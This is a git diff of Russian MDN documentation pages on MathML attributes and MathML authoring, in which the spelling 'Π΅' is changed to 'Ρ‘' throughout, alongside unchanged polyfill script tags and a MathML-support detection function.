+ <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Ρ‘Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ ΠΈ</span></span></span> <code>frame</code>.</td>
</tr>
<tr id="groupalign">
<td>{{ unimplemented_inline() }} <code>groupalign</code></td>
@@ -189,7 +189,7 @@ original_slug: Web/MathML/Атрибут
<tr id="height">
<td><code>height</code></td>
<td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}</td>
- <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Π΅Ρ‚ ΠΆΠ΅Π»Π°Π΅ΠΌΡƒΡŽ высоту.</span></span></span> Для Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ смотри <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">Π΄Π»ΠΈΠ½Ρ‹</a>.</td>
+ <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΆΠ΅Π»Π°Π΅ΠΌΡƒΡŽ высоту.</span></span></span> Для Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ смотри <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">Π΄Π»ΠΈΠ½Ρ‹</a>.</td>
</tr>
<tr id="href">
<td><code>href</code></td>
@@ -239,7 +239,7 @@ original_slug: Web/MathML/Атрибут
<tr id="infixlinebreakstyle">
<td>{{ unimplemented_inline() }} <code>infixlinebreakstyle</code></td>
<td>{{ MathMLElement("mstyle") }}</td>
- <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Π΅Ρ‚ ΡΡ‚ΠΈΠ»ΡŒ</span></span></span> ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для <code>linebreakstyle</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>для использования Π² инфиксных ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Ρ….</span></span></span></td>
+ <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Ρ‘Ρ‚ ΡΡ‚ΠΈΠ»ΡŒ</span></span></span> ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для <code>linebreakstyle</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>для использования Π² инфиксных ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Ρ….</span></span></span></td>
</tr>
<tr id="largeop">
<td><code>largeop</code></td>
@@ -334,7 +334,7 @@ original_slug: Web/MathML/Атрибут
<tr id="movablelimits">
<td><code>movablelimits</code></td>
<td>{{ MathMLElement("mo") }}</td>
- <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π»ΠΈ присоСдинСнныС Π½ΠΈΠΆΠ½ΠΈΠ΅ ΠΈ Π²Π΅Ρ€Ρ…Π½ΠΈΠ΅ индСксы Π½Π° ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π½ΠΈΠΆΠ½ΠΈΡ… ΠΈ Π²Π΅Ρ€Ρ…Π½ΠΈΡ… индСксов.</span></span></span></td>
+ <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π»ΠΈ присоСдинённыС Π½ΠΈΠΆΠ½ΠΈΠ΅ ΠΈ Π²Π΅Ρ€Ρ…Π½ΠΈΠ΅ индСксы Π½Π° ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π½ΠΈΠΆΠ½ΠΈΡ… ΠΈ Π²Π΅Ρ€Ρ…Π½ΠΈΡ… индСксов.</span></span></span></td>
</tr>
<tr id="notation">
<td><code>notation</code></td>
@@ -399,7 +399,7 @@ original_slug: Web/MathML/Атрибут
<tr id="scriptminsize">
<td><code>scriptminsize</code></td>
<td>{{ MathMLElement("mstyle") }}</td>
- <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Π΅Ρ‚ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΈΠ·-Π·Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π²</span></span></span> <code>scriptlevel</code>.</td>
+ <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΈΠ·-Π·Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π²</span></span></span> <code>scriptlevel</code>.</td>
</tr>
<tr id="scriptsizemultiplier">
<td><code>scriptsizemultiplier</code></td>
@@ -429,7 +429,7 @@ original_slug: Web/MathML/Атрибут
<tr id="side">
<td>{{ unimplemented_inline() }} <code>side</code></td>
<td>{{ MathMLElement("mtable") }}</td>
- <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Π΅Ρ‚ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ</span></span></span> {{ MathMLElement("mlabeledtr") }} <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ элСмСнты ΠΌΠ΅Ρ‚ΠΊΠΈ.</span></span></span></td>
+ <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ</span></span></span> {{ MathMLElement("mlabeledtr") }} <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ элСмСнты ΠΌΠ΅Ρ‚ΠΊΠΈ.</span></span></span></td>
</tr>
<tr id="src">
<td>{{ unimplemented_inline() }} <code>src</code></td>
@@ -469,7 +469,7 @@ original_slug: Web/MathML/Атрибут
<tr id="width">
<td><code>width</code></td>
<td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}, {{ MathMLElement("mtable") }}</td>
- <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Π΅Ρ‚ ΠΆΠ΅Π»Π°Π΅ΠΌΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ.</span></span></span> Π‘ΠΌΠΎΡ‚Ρ€ΠΈ <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">Π΄Π»ΠΈΠ½Ρ‹</a> для Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</td>
+ <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΆΠ΅Π»Π°Π΅ΠΌΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ.</span></span></span> Π‘ΠΌΠΎΡ‚Ρ€ΠΈ <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">Π΄Π»ΠΈΠ½Ρ‹</a> для Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</td>
</tr>
<tr id="xlink-href">
<td><code>xlink:href</code> {{deprecated_inline}}</td>
@@ -479,7 +479,7 @@ original_slug: Web/MathML/Атрибут
<tr id="xmlns">
<td><code>xmlns</code></td>
<td>{{ MathMLElement("math") }}</td>
- <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Π΅Ρ‚ URI для пространства ΠΈΠΌΠ΅Π½ MathML</span></span></span> (<code><a class="external" href="http://www.w3.org/1998/Math/MathML" rel="freelink">http://www.w3.org/1998/Math/MathML</a></code>)</td>
+ <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Ρ‘Ρ‚ URI для пространства ΠΈΠΌΡ‘Π½ MathML</span></span></span> (<code><a class="external" href="http://www.w3.org/1998/Math/MathML" rel="freelink">http://www.w3.org/1998/Math/MathML</a></code>)</td>
</tr>
</tbody>
</table>
diff --git a/files/ru/web/mathml/authoring/index.html b/files/ru/web/mathml/authoring/index.html
index 765b420c47..f330d22d50 100644
--- a/files/ru/web/mathml/authoring/index.html
+++ b/files/ru/web/mathml/authoring/index.html
@@ -10,7 +10,7 @@ translation_of: Web/MathML/Authoring
---
<p>Π­Ρ‚Π° страница ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, ΠΊΠ°ΠΊ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ матСматичСскиС выраТСния ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ языка MathML. Подобно HTML, основными элСмСнтами языка MathML ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚Π΅Π³ΠΈ ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹. Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ HTML становится слоТным, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ содСрТит структуры, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ спискам ΠΈΠ»ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Π°ΠΌ, Π½ΠΎ, ΠΊ ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, сущСствуСт ΠΌΠ½ΠΎΠ³ΠΎ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² Π½Π° основС простых систСм ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, WYSIWYG Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ систСмы управлСния ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ, ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‰ΠΈΠ΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Web страницы.</p>
-<p>ΠœΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΠΈΠ΅ обозначСния Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ слоТны со структурами Ρ‚Π°ΠΊΠΈΠΌΠΈ, ΠΊΠ°ΠΊ Π΄Ρ€ΠΎΠ±ΠΈ, ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ ΠΊΠΎΡ€Π½ΠΈ ΠΈΠ»ΠΈ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, вСроятно, ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ собствСнных Ρ‚Π΅Π³ΠΎΠ². ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, связанныС с MathML, ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Ρ‹. НСкоторыС ΠΈΠ· этих инструмСнтов ΠΌΡ‹ описываСм Π½ΠΈΠΆΠ΅. Π’ частности, ΠΊΠΎΠΌΠ°Π½Π΄Π° Mozilla MathML Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π»Π° <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a> (Javascript Unicode LaTeX-to-MathML ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚Π΅Ρ€), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для использования Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… сцСнариях, описанных здСсь. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, этот список Π½ΠΈ Π² ΠΊΠΎΠ΅ΠΌ случаС Π½Π΅ являСтся ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰ΠΈΠΌ ΠΈ Π²Π°ΠΌ прСдлагаСтся ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ <a class="external" href="http://www.w3.org/Math/Software/">W3C MathML software list</a>, Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ инструмСнты.</p>
+<p>ΠœΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΠΈΠ΅ обозначСния Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ слоТны со структурами Ρ‚Π°ΠΊΠΈΠΌΠΈ, ΠΊΠ°ΠΊ Π΄Ρ€ΠΎΠ±ΠΈ, ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ ΠΊΠΎΡ€Π½ΠΈ ΠΈΠ»ΠΈ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, вСроятно, ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ собствСнных Ρ‚Π΅Π³ΠΎΠ². ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, связанныС с MathML, ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Ρ‹. НСкоторыС ΠΈΠ· этих инструмСнтов ΠΌΡ‹ описываСм Π½ΠΈΠΆΠ΅. Π’ частности, ΠΊΠΎΠΌΠ°Π½Π΄Π° Mozilla MathML Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π»Π° <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a> (Javascript Unicode LaTeX-to-MathML ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚Π΅Ρ€), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для использования Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… сцСнариях, описанных здСсь. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, этот список Π½ΠΈ Π² ΠΊΠΎΠ΅ΠΌ случаС Π½Π΅ являСтся ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰ΠΈΠΌ ΠΈ Π²Π°ΠΌ прСдлагаСтся ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ <a class="external" href="http://www.w3.org/Math/Software/">W3C MathML software list</a>, Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ инструмСнты.</p>
<p>Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ MathML Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ Π² HTML5. Π’ частности, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ Web-инструмСнты, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ CSS, DOM, Javascript ΠΈΠ»ΠΈ SVG. Данная Ρ‚Π΅ΠΌΠ° Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π½ΠΎ любой, Ρƒ ΠΊΠΎΠ³ΠΎ Π΅ΡΡ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ знания Web-языков, смоТСт Π»Π΅Π³ΠΊΠΎ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ эти инструмСнты с MathML. ΠžΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="/ru/docs/Mozilla/MathML_Project#Sample_MathML_Documents" title="/ru/docs/Mozilla/MathML_Project#Sample_MathML_Documents">нашими ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ</a> ΠΈ <a href="https://developer.mozilla.org/ru/docs/Web/MathML" title="ru/MathML/Element">справочными Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎ MathML</a> для получСния Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</p>
@@ -45,7 +45,7 @@ translation_of: Web/MathML/Authoring
<h4 id="Π’Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹_для_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²_Π±Π΅Π·_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ_MathML">Π’Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π±Π΅Π· ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ MathML</h4>
-<p>К соТалСнию, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ выраТСния MathML ΠΈΠ»ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ» MathML, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹ΠΉ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ матСматичСскиС конструкции, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² этой MDN wiki, Ρ‚ΠΎΠ³Π΄Π° нСбольшой Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй <a href="https://github.com/fred-wang/mathml.css">mathml.css</a> Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ достаточно. Для Π΅Π΅ использования, просто Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ ΠΎΠ΄Π½Ρƒ строку Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ вашСго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°:</p>
+<p>К соТалСнию, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ выраТСния MathML ΠΈΠ»ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ» MathML, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹ΠΉ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ матСматичСскиС конструкции, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² этой MDN wiki, Ρ‚ΠΎΠ³Π΄Π° нСбольшой Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй <a href="https://github.com/fred-wang/mathml.css">mathml.css</a> Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ достаточно. Для Π΅Ρ‘ использования, просто Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ ΠΎΠ΄Π½Ρƒ строку Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ вашСго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°:</p>
<pre class="brush: html">&lt;script src="http://fred-wang.github.io/mathml.css/mspace.js"&gt;&lt;/script&gt;</pre>
@@ -57,7 +57,7 @@ translation_of: Web/MathML/Authoring
<pre class="brush: html">&lt;script src="http://fred-wang.github.io/mathml-warning.js/mpadded-min.js"&gt;&lt;/script&gt;</pre>
-<p>Если Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту ссылку Π½Π° GitHub, Π½ΠΎ вмСсто этого Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ»Ρ‹ ΠΈΠ»ΠΈ Π½Π΅Ρ‡Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π² свой ΠΏΡ€ΠΎΠ΅ΠΊΡ‚, Ρ‚ΠΎΠ³Π΄Π° Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ скрипт, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‰ΠΈΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ MathML. НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция провСряСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ MathML ΠΏΡƒΡ‚Π΅ΠΌ тСстирования элСмСнта mspace (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ <code>mspace</code> Π½Π° <code>mpadded</code>):</p>
+<p>Если Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту ссылку Π½Π° GitHub, Π½ΠΎ вмСсто этого Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ»Ρ‹ ΠΈΠ»ΠΈ Π½Π΅Ρ‡Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π² свой ΠΏΡ€ΠΎΠ΅ΠΊΡ‚, Ρ‚ΠΎΠ³Π΄Π° Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ скрипт, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‰ΠΈΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ MathML. НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция провСряСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ MathML ΠΏΡƒΡ‚Ρ‘ΠΌ тСстирования элСмСнта mspace (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ <code>mspace</code> Π½Π° <code>mpadded</code>):</p>
<pre class="brush: js">Β function hasMathMLSupport() {
Β  var div = document.createElement("div"), box;
@@ -68,7 +68,7 @@ translation_of: Web/MathML/Authoring
Β  return Math.abs(box.height - 23) &lt;= 1Β  &amp;&amp; Math.abs(box.width - 77) &lt;= 1;
}</pre>
